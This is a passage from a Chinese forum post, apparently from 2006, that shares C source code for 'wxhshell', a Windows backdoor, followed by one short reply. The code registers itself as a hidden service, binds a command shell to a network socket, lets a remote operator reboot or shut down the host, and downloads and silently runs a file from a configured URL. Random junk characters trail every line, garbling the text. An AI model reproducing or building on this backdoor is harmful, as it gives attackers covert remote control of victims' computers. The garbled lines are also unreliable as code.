  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ["TUSf]  
  else |qnAqzK|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aAhXHsZ|26  
  } (NR8B9qLN  
  else { hd0d gc  
~)xg7\k  
    switch(cmd[0]) { M=:!d$c  
  ,@!io  
  // 帮助 -.<fGhmU  
  case '?': { ce7$r*@!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +L03. rf  
    break; 6[b'60CuZL  
  } TwJiYXHw?  
  // 安装 C,r[H5G#  
  case 'i': { a|?&  
    if(Install()) ,< Zu4bww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,j E'd'$  
    else Fjch<gAofS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;!: A  
    break; }-4@EC>  
    } zW.I7Z0^  
  // 卸载 Jmg<mjq/G  
  case 'r': { Gmi ^2?Z(  
    if(Uninstall()) R!{^qHb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); je LRS8];  
    else B?n 6o|8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {| ~  
    break; Kcf1$`F24  
    } utOATjB.z  
  // 显示 wxhshell 所在路径 @{/GdB,}  
  case 'p': { Sp/t[\,'  
    char svExeFile[MAX_PATH]; r{2V`h1/|  
    strcpy(svExeFile,"\n\r"); cBcfGNTJ~  
      strcat(svExeFile,ExeFile); 5^lFksZ  
        send(wsh,svExeFile,strlen(svExeFile),0);  t~_vzG  
    break; ggn C #$  
    } >1uo5,wrF  
  // 重启 9bu}@#4*  
  case 'b': { XK#~w:/fB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "}ibH{$lM  
    if(Boot(REBOOT)) y#tuwzE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d?[gd(O  
    else { I "Qf};n  
    closesocket(wsh); |p_\pa1&  
    ExitThread(0); ^V6cx2M  
    } (B+CI%= D  
    break; Q+bZZMK5,U  
    } "- 2HKs  
  // 关机 |z.x M>  
  case 'd': { b-!+Q)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _UP =zW  
    if(Boot(SHUTDOWN)) x;N@_FZ7KY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -%f$$7  
    else { 2-G6I92d  
    closesocket(wsh); ?OjZb'+=K  
    ExitThread(0); hSkI]%  
    } /Uxp5 b h  
    break; y0}3s)lKv  
    } fhwJ  
  // 获取shell )WWqi,T}  
  case 's': { k65V5lb  
    CmdShell(wsh);  _"0,  
    closesocket(wsh); KYw~(+gHv2  
    ExitThread(0); iEx sGn]2  
    break; ]F'o  
  } fl@=h[g#t  
  // 退出 3g79pw2w=  
  case 'x': { )\aCeY8o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ce56$L8[  
    CloseIt(wsh); 7l%]O}!d)  
    break; 9N[(f-`  
    } wmV7g7t6  
  // 离开 O~P1d&:L  
  case 'q': { xxy (#j$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b?^CnMO  
    closesocket(wsh); CU`yi.)T{  
    WSACleanup(); ]9A@iA  
    exit(1); DjLSl,Z  
    break; xVnk]:c  
        } ) t#>fnN  
  } ]#NJ[IZb  
  } "5wer5? t  
Ty&Ok*  
  // 提示信息 ,vcg%~-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y,/Arl}yc  
} W^e"()d/Z  
  } JX)%iJq#  
wjzR 8g0bQ  
  return; Qr.SPNUFK  
}  Uf,fd  
OK] _.v}  
// shell模块句柄 rbt/b0ET  
int CmdShell(SOCKET sock) DYf3>xh>xb  
{ (J6>]MZ#)  
STARTUPINFO si; 'G)UIjl  
ZeroMemory(&si,sizeof(si)); QJ4=*tX)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ztEM>xsk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x*#9\*@EI  
PROCESS_INFORMATION ProcessInfo; N\{{:<Cp\  
char cmdline[]="cmd"; <sncW>?!~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?y/LMja  
  return 0; L#|6L np^  
} ,@Fde=Lw  
vk><S|[n  
// 自身启动模式 Mn<#rBE B  
int StartFromService(void) e+~Q58oD  
{ L,\wB7t  
typedef struct (O!Q[WLS  
{ dje}C bZ  
  DWORD ExitStatus; \+#>XDD  
  DWORD PebBaseAddress; {t%Jc~p{  
  DWORD AffinityMask; fbrCl!%P  
  DWORD BasePriority; `b:yW.#w3l  
  ULONG UniqueProcessId; "?HDv WP=w  
  ULONG InheritedFromUniqueProcessId; "3;b,<0  
}   PROCESS_BASIC_INFORMATION; 'eYM;\%('  
y_:~  
PROCNTQSIP NtQueryInformationProcess; 3:g~@PB  
6%A_PP3Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A. 5`+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i-FsA  
b#[EkI 0@  
  HANDLE             hProcess; SJ8CBxA  
  PROCESS_BASIC_INFORMATION pbi; B:]%Iu|  
&;2@*#,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A(@VjXl  
  if(NULL == hInst ) return 0; `#3FvP@&  
"o}}[hRP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =}K"@5J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q<O(Ix  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oYmLJzCf  
;&} rO.0  
  if (!NtQueryInformationProcess) return 0; ^Q9!DF m  
Sg+0w7:2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b[Qe} `W  
  if(!hProcess) return 0; ^ rh{  
e-EY]%JO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o,gH*  
8`B]UcL)  
  CloseHandle(hProcess); *Sw1b7l  
7^FJ+gN8b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !v\ _<8  
if(hProcess==NULL) return 0; ),rd7GB>  
RQO&F$R=  
HMODULE hMod; :~wU/dEEiz  
char procName[255]; P*:9u>  
unsigned long cbNeeded; `G_k~ %  
;_6 CV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _j sJS<21  
6F:< c  
  CloseHandle(hProcess); ?B['8ju  
lN~V1(1B  
if(strstr(procName,"services")) return 1; // 以服务启动 $'%.w|MJp  
7GDrH/yK  
  return 0; // 注册表启动 $d\>^Q  
} 2H9;4>ss  
)WH;G:$&"  
// 主模块 *-`-P  
int StartWxhshell(LPSTR lpCmdLine) 4apaUP=Jp  
{ Ka/*Z4"  
  SOCKET wsl; d1BE;9*/7  
BOOL val=TRUE; ^_ST#fFS  
  int port=0; <,+nS%a  
  struct sockaddr_in door; &xLCq&j 1  
 Op5S'  
  if(wscfg.ws_autoins) Install(); 13aj fH  
LQz6op}R  
port=atoi(lpCmdLine); fWs@ZCt  
LK:Jkjp^  
if(port<=0) port=wscfg.ws_port; C )J@`E  
2>*b.$g  
  WSADATA data; |))O3]-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M37GQvo   
Nv5)A=6#AA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +rFAo00E|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g>pvcf(  
  door.sin_family = AF_INET; $_f"NE}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .I%`yhCW  
  door.sin_port = htons(port); E+z"m|G  
<44A*ux  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d:8c}t2X  
closesocket(wsl); ^_c6Op<F  
return 1; gZ@z}CIw'  
} N%Uk/ c'  
n^iq?u  
  if(listen(wsl,2) == INVALID_SOCKET) { ZG$PW< 73~  
closesocket(wsl); u:w   
return 1; Ohn?>qQ  
} d;hv_h  
  Wxhshell(wsl); ~-f"&@){,  
  WSACleanup(); -*[:3%  
_lMSW6  
return 0; i_f\dkol  
!hjA   
} Ox%p"xuP,  
(sqI:a  
// 以NT服务方式启动 }l7@:ezZZ7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :^rt8>~  
{ 0b(x@>  
DWORD   status = 0; X" Upml  
  DWORD   specificError = 0xfffffff; mlix^P  
iHKX#*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y$y!{R@   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sc&u NfJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X'J!.Jj  
  serviceStatus.dwWin32ExitCode     = 0; 6~^ M<E  
  serviceStatus.dwServiceSpecificExitCode = 0; |*( R$tX  
  serviceStatus.dwCheckPoint       = 0; Mq jdW   
  serviceStatus.dwWaitHint       = 0; VT [TE  
-?p4"[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Jc.49  
  if (hServiceStatusHandle==0) return; Om_- #S  
; <l#k7/  
status = GetLastError(); <Uc?#;% Y}  
  if (status!=NO_ERROR) fM`.v+  
{  P0 9f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2rxz<ck(  
    serviceStatus.dwCheckPoint       = 0; G| b I$   
    serviceStatus.dwWaitHint       = 0; .$]-::&  
    serviceStatus.dwWin32ExitCode     = status; 5m2f\^U  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hu$y8_Udw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <DZ$"t  
    return; kRqe&N e  
  } Ay0.D FL  
Z(I=K BI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4'5|YGQj  
  serviceStatus.dwCheckPoint       = 0; ha?M[Vyw4Q  
  serviceStatus.dwWaitHint       = 0; dJ {q}U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w:+&i|H>  
} d_ 7hh  
IictX"3lh  
// 处理NT服务事件,比如:启动、停止 ,c,@WQ2:-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PiN^/#D  
{ E NrcIZ  
switch(fdwControl) m "96%sB  
{ Rga *68s|&  
case SERVICE_CONTROL_STOP: Y_<-.?jf  
  serviceStatus.dwWin32ExitCode = 0; G8&/I c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g'AxJ  
  serviceStatus.dwCheckPoint   = 0; <Hr~|oG  
  serviceStatus.dwWaitHint     = 0; G!+Mu2  
  { $!$,cK Pl5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &dG^M2g-F  
  } >hY.F/[  
  return; /2'l=R5#  
case SERVICE_CONTROL_PAUSE: A(*c |Aj9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E>iN>  
  break; xqb*;TBh*  
case SERVICE_CONTROL_CONTINUE: 3EHB~rL/C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c2gi 3  
  break; %j@@J\G!  
case SERVICE_CONTROL_INTERROGATE: t:"3M iM=c  
  break; hp`ZmLq/[  
}; jyB Ys& v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DTlId~Dyq  
} ( 8X^pL  
uUb`Fy9  
// 标准应用程序主函数 H?rCIS0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yy Y\g  
{ O(6j:XD  
Y/sZPG}4  
// 获取操作系统版本 03c8VKp'p  
OsIsNt=GetOsVer(); 8S7#tb@3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K#Zv>x!to  
iK=QP+^VN  
  // 从命令行安装 qOy0QZ#0  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ eb k u_  
\CX6~  
  // 下载执行文件 adPd}rt;  
if(wscfg.ws_downexe) { L2=:Nac  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h5(OjlMC  
  WinExec(wscfg.ws_filenam,SW_HIDE); zdm2`D;~p  
}  |nfMoUI  
KP&xk1 3)  
if(!OsIsNt) { O7p=N8V  
// 如果时win9x,隐藏进程并且设置为注册表启动 q ~^!Ck+#*  
HideProc(); [{`2FR:Cd  
StartWxhshell(lpCmdLine); Q' Tg0,,S  
} '50}QY_R.  
else ,q;?zcC7  
  if(StartFromService()) u 7:Iv  
  // 以服务方式启动 yfal'DqKF  
  StartServiceCtrlDispatcher(DispatchTable); *E]:VZl  
else +D2I~hC0'  
  // 普通方式启动 W>5[_d  
  StartWxhshell(lpCmdLine); _N=f&~T  
0*_E'0L8e  
return 0; ,OERDWW|6  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八